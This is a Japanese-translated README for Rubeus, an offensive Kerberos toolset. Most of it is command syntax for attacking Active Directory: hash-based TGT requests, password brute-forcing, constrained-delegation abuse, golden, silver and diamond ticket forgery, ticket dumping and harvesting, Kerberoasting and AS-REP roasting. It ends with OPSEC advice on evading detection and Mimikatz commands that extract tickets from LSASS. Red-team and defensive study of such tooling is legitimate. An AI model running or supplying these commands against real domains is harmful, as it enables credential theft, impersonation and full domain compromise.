
Rubeus は、生の Kerberos 相互作用と悪用のための C# ツールセットです。これは、Benjamin Delpy の Kekeo プロジェクト(CC BY-NC-SA 4.0 ライセンス)および Vincent LE TOUX の MakeMeEnterpriseAdmin プロジェクト(GPL v3.0 ライセンス)から大幅に適応されています。武器化の難しい部分を解決した Benjamin と Vincent に全功績があります。彼らの先行研究がなければ、このプロジェクトは存在しませんでした。
Charlie Clark と Ceri Coburn は、共開発者として Rubeus コードベースに 重要な 貢献をしました。Elad Shamir は、リソースベースの制約付き委任に関する重要な作業を提供しました。彼らの作業に感謝します!
Rubeus は、Thomas Pornin の C# ASN.1 解析/エンコーディングライブラリ DDer も使用しており、これは「MIT 類似」ライセンスでリリースされました。Thomas のクリーンで安定したコードに大感謝します!
PKINIT コードは @SteveSyfuhs の Bruce ツールから大幅に適応されています。Bruce は RFC4556 (PKINIT) を理解しやすくしてくれました。Steve に大感謝!
Kerberos PAC の NDR エンコーディングおよびデコーディングは、@tiraniddo の NtApiDotNet ライブラリに基づいています。James ありがとう。
Kerberoasting 用の KerberosRequestorSecurityToken.GetRequest メソッドは、@machosec によって PowerView に提供され(その後 Rubeus に組み込まれました)。
@harmj0y がこのコードベースの主著者です。
Rubeus は BSD 3-Clause ライセンスの下でライセンスされています。
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
チケット要求と更新:
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Retrieve a TGT suitable for changing an account with an expired password using the changepw command
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Request a TGT without sending pre-auth data:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Request a service ticket using an AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Retrieve a service ticket using the Kerberos Key List Request options:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Retrieve a delegated managed service account ticket:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
制約付き委任の悪用:
Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Perform S4U constrained delegation abuse across domains:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
チケット偽造:
Forge a golden ticket using LDAP to gather the relevent information:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket, setting values explicitly:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information and including an S4U Delegation Info PAC section:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket, setting values explicitly:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a diamond TGT by requesting a TGT based on a user password/hash:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Forge a diamond TGT by requesting a TGT using a PCKS12 certificate:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Forge a diamond TGT by requesting a TGT using tgtdeleg:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
チケット管理:
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]
Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
チケット抽出と収集:
Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
Rubeus.exe tgtdeleg [/target:SPN]/interval SECONDS(デフォルト60)ごとに新しいTGTを監視:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
/monitorinterval SECONDS(デフォルト60)ごとに新しいTGTを監視し、TGTを自動更新し、/displayinterval SECONDS(デフォルト1200)ごとに作業キャッシュを表示:
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roasting:
Kerberoastingを実行:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Kerberoastingを実行し、ハッシュをファイルに出力:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
Kerberoastingを実行し、ファイル出力形式のハッシュをコンソールに出力:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
別の資格情報でKerberoastingを実行:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
既存のTGTを使用してKerberoastingを実行:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
エンタープライズプリンシパルを使用して、既存のTGTでKerberoastingを実行:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
既存のTGTでKerberoastingを実行し、失敗した場合にエンタープライズプリンシパルで自動再試行:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
tgtdelegチケットを使用してサービスチケットを要求するKerberoastingを実行 - AESアカウントにはRC4を要求:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
"opsec" Kerberoastingを実行、tgtdelegを使用し、AES対応アカウントを除外:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
チケット要求を実際に送信せずに、見つかったKerberoastableアカウントの統計情報を表示:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
admin count 1のアカウントのみにチケットを要求するKerberoastingを実行(カスタムLDAPフィルター):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
パスワードの最終設定日が2005年1月31日から2010年3月29日までのアカウントのみにチケットを要求するKerberoastingを実行、最大5つのサービスチケットを返す:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
遅延5000ミリ秒、ジッター30%でKerberoastingを実行:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
AES Kerberoastingを実行:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
AS-REQを送信して事前認証なしのアカウントを使用してKerberoastingを実行:
Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]
事前認証なしのユーザーに対してAS-REP "roasting"を実行:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
事前認証なしのユーザーに対してAS-REP "roasting"を実行し、Hashcat形式でファイルに出力:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]
別の資格情報を使用して、事前認証なしのユーザーに対してAS-REP "roasting"を実行:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
その他:
/showが渡されない限り、ランダムな/netonly資格情報で隠しプログラムを作成し、PIDとLUIDを表示:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
提供されたTGTからユーザーのパスワードをリセット(AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]
rc4_hmac、aes128_cts_hmac_sha1、aes256_cts_hmac_sha1、des_cbc_md5ハッシュを計算:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
既存のサービスチケットにsnameまたはSPNを置換:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
現在のユーザーのLUIDを表示:
Rubeus.exe currentluid
(現在の)または(ターゲットの)ログオンセッションに関する情報を表示、デフォルトでは読み取り可能なすべて:
Rubeus.exe logonsession [/current] [/luid:X]
"/consoleoutfile:C:\FILE.txt"引数は、すべてのコンソール出力を指定されたファイルにリダイレクトします。
"/nowrap"フラグは、すべての関数でbase64チケットブロブの列折り返しを防止します。
"/debug"フラグは、ASN.1デバッグ情報を出力します。
AS-REPとキーをKirbiに変換:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Kirbiに新しいDESセッションキーを挿入:
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]
注: Base64チケットブロブは以下でデコードできます:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
このセクションでは、環境内でRubeusを使用する際の運用セキュリティに関する注意事項を、Mimikatzとのアプローチを技術的な例で比較/対比しながら説明します。ここでの内容は将来拡張される予定です。
システム上で実行するすべてのアクションは検出可能なリスクであり、特に機能を「奇妙な」/意図しない方法で悪用する場合はそうです。Rubeus(他の攻撃者ツールセットと同様)は、ホスト、ネットワーク、ドメインの観点から、さまざまな方法で検出される可能性があります。同僚の一人は、 "すべては誰かが探し始めるまではステルスである" という言葉を好んで使います。ツールや技術が検出を逃れるのは、一般的にa) 人々がそのツール/技術を十分に認識しておらず、したがって探そうともしていない、b) 人々が必要なデータを適切な規模で収集・処理できない、c) ツール/技術が既存の動作に溶け込み、環境内の誤検出とともに紛れ込む、のいずれかです。これらの手順と検出回避の一般論に関する詳細は、Matt Graeber と Lee Christensen によるBlack Hat USA 2018の講演 “Subverting Sysmon” および関連する ホワイトペーパー を参照してください。
ホストの観点から、Rubeusは、コード自体の初期のweaponization中、異常な(lsass.exe以外の)プロセスによる生のKerberosポート88トラフィックの発行、LsaCallAuthenticationPackage()などの機密APIの使用、またはホスト上の異常なチケットの存在(例:現代の環境でのrc4_hmacの使用)によって検出される可能性があります。
ネットワークまたはドメインコントローラーのログの観点からは、Rubeusが通常のKerberosプロトコルの多くの部分を実装しているため、主な検出方法はKerberos交換でのrc4_hmacの使用です。最新のWindowsドメイン(機能レベル2008以降)では、通常のKerberos交換(いくつかの例外を除く)でAES暗号化がデフォルトで使用されます。 aes256_cts_hmac_sha1(またはaes128)キーの代わりにrc4_hmac(NTLM)ハッシュをKerberos交換で使用すると、ホストレベル、ネットワークレベル(Kerberosトラフィックが解析される場合)、ドメインコントローラーのイベントログレベルで検出可能なシグナルが発生し、「暗号化ダウングレード」として知られることがあります。
攻撃ツールが検出される一般的な方法の1つは、コードのweaponizationベクターです。RubeusがPowerShell経由で実行される場合(Empireを含む)、標準のPowerShell V5保護(深いスクリプトブロックログ、AMSIなど)がすべて適用されます。Rubeusがディスク上のバイナリとして実行される場合、標準のAVシグネチャ検出が働きます(これが、Rubeusのコンパイル済みバージョンをリリースしない理由の一部です。脆いシグネチャは馬鹿げているからです ; ))。Rubeusがライブラリとして使用される場合、主要なツールが実行に使用するあらゆる方法の影響を受けます。また、Rubeusがアンマネージドアセンブリ実行(Cobalt Strikeの execute_assembly など)で実行される場合、プロセス間コードインジェクションが実行され、CLRが潜在的に非.NETプロセスにロードされます。ただし、このシグナルは、この方法を使用した任意の.NETコードの実行に存在します。
また、AMSI(Antimalware Scan Interface)が.NET 4.8に追加されました。Ryan Cobb は、自身のブログ記事 “Entering a Covenant: .NET Command and Control” の Defense セクションで、これの攻撃的意味合いについて詳しく説明しています。
マシン上で昇格したアクセス権を持っており、再利用のためにユーザーの資格情報を抽出したいとします。
Mimikatzは資格情報抽出のスイスアーミーナイフであり、複数のオプションがあります。sekurlsa::logonpasswords コマンドは、LSASSへの読み取りハンドルを開き、システム上に存在するログオンセッションを列挙し、各ログオンセッションのデフォルト認証パッケージをウォークし、存在する逆可能なパスワード/資格情報素材を抽出します。補足: sekurlsa::ekeys コマンドは、Kerberosパッケージに存在するすべてのキータイプを列挙します。
RubeusにはLSASSに触れるコードはなく(その意図もありません)、その機能はLsaCallAuthenticationPackage() APIを使用したKerberosチケットの抽出に制限されています。非昇格権限からは、TGTのセッションキーは(デフォルトでは)返されないため、抽出されたサービスチケットのみが使用可能です(tgtdeleg コマンドはKekeoのトリックを使用して、現在のユーザーに対して使用可能なTGTを取得します)。高整合性コンテキストの場合、トークン複製を利用したGetSystem相当が実行され、SYSTEMに昇格し、LsaRegisterLogonProcess() API呼び出しで偽のログオンアプリケーションが登録されます。これにより、システム上でLSAに現在登録されているすべてのチケットの特権列挙と抽出が可能になり、後で再利用するためのbase64エンコードされた.kirbiが出力されます。
Mimikatzは、以下の一連のコマンドで同じbase64 .kirbi抽出を実行できます:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatzは、以下のコマンドでLSASSのメモリから直接チケットを切り出すこともできます:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
